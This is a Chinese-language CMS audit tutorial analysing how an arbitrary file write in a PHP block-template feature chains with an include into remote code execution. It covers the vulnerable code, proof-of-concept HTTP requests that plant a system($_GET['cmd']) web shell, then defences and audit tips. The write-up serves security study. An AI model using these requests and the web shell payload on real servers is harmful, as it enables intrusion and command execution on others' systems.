记一次某CMS审计
字数 1638 2025-08-22 18:37:22
PHP CMS 审计:任意文件写入与文件包含漏洞分析
1. 漏洞概述
本教学文档详细分析了一个PHP CMS系统中存在的安全漏洞组合:任意文件写入漏洞与文件包含漏洞。这两个漏洞结合可导致远程代码执行(RCE),是Web应用安全中极为严重的威胁。
2. 漏洞基础概念
2.1 任意文件写入漏洞
定义:攻击者能够在目标服务器上任意位置创建或修改文件的漏洞。
风险:
- 远程代码执行:写入恶意PHP代码并执行
- 破坏系统完整性:覆盖关键系统文件
- 植入后门:建立持久化访问通道
示例:
file_put_contents('/var/www/html/uploads/malicious.php', $user_input);
攻击者可传入<?php system('whoami'); ?>等恶意代码。
2.2 文件包含漏洞
定义:应用程序允许用户通过输入控制包含的文件路径,导致执行用户指定的文件。
类型:
- 本地文件包含(LFI):包含服务器本地文件
- 远程文件包含(RFI):包含远程服务器文件(需配置允许)
风险:
- 任意代码执行
- 敏感信息泄露(如读取/etc/passwd)
危险函数:
include(),require()include_once(),require_once()readfile(),parse_ini_file()
3. 漏洞代码分析
3.1 漏洞代码片段
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
$dir = dirname($filepath);
if(!is_dir($dir)) {
@mkdir($dir, 0777, true);
}
if (@file_put_contents($filepath, $str)) {
ob_start();
include $filepath;
$html = ob_get_contents();
ob_clean();
@unlink($filepath);
}
3.2 漏洞点分析
-
可控输入:
$template来自$_POST['template']$id来自数据库查询,但可通过特定方式控制
-
漏洞链:
- 通过
file_put_contents()写入可控内容 - 通过
include立即执行写入的文件 - 文件路径部分可控(通过
$id)
- 通过
-
关键条件:
- 需要
$data['type'] == 2才能进入漏洞代码分支 $data由$_GET['id']查询得到
- 需要
4. 漏洞利用步骤
4.1 前置条件准备
-
确保type=2存在:
- 检查数据库中是否存在
type == 2的记录 - 若无,通过
add函数添加一个type=2的模块
- 检查数据库中是否存在
-
构造添加请求:
POST /index.php?m=block&c=block_admin&a=add&pos=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
name=testmodule&dosubmit=1&type=2&priv=all&pc_hash=xxxx
4.2 漏洞利用POC
-
确认type=2模块创建成功:
- 检查数据库确认记录已添加
-
构造恶意请求:
POST /index.php?m=block&c=block_admin&a=add&pos=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
template=<?php system($_GET['cmd']);?>&[其他必要参数]
- 验证利用:
- 访问生成的文件路径执行命令
- 如:
http://target.com/path/to/generated.php?cmd=whoami
5. 防御措施
5.1 针对任意文件写入
-
输入验证:
- 严格过滤用户输入的
$template内容 - 禁止PHP代码标签等危险内容
- 严格过滤用户输入的
-
路径限制:
- 固定文件存储目录
- 禁止使用用户输入构造完整路径
-
权限控制:
- 文件写入权限最小化
- 避免0777权限设置
5.2 针对文件包含
-
白名单机制:
- 只允许包含预定义的安全文件
- 禁止动态包含用户可控文件
-
路径固定:
- 不使用用户输入构造包含路径
- 如需动态包含,应先映射到安全列表
-
禁用危险函数:
- 在php.ini中禁用
allow_url_include
- 在php.ini中禁用
6. 审计技巧总结
-
敏感函数追踪:
- 重点审计
file_put_contents、include等危险函数 - 追踪其参数来源是否可控
- 重点审计
-
条件分支分析:
- 注意进入漏洞代码的条件限制
- 寻找绕过条件限制的方法
-
数据流追踪:
- 从用户输入点到危险函数的数据流分析
- 检查中间是否有足够的过滤
-
组合漏洞挖掘:
- 注意漏洞间的组合利用可能性
- 如本案例中文件写入+文件包含的组合
7. 扩展思考
-
其他可能的利用方式:
- 通过文件写入篡改配置文件
- 写入.htaccess文件进行其他攻击
-
相关CVE参考:
- 研究类似CMS的历史漏洞
- 对比不同CMS的实现差异
-
自动化审计工具:
- 使用静态分析工具辅助发现此类漏洞
- 如RIPS、SonarQube等
本教学文档详细剖析了PHP CMS中一个典型的安全漏洞组合,从基础概念到实际利用,再到防御措施,提供了完整的知识链条。安全审计需要耐心和细致的代码分析能力,希望此文档能为安全研究人员提供有价值的参考。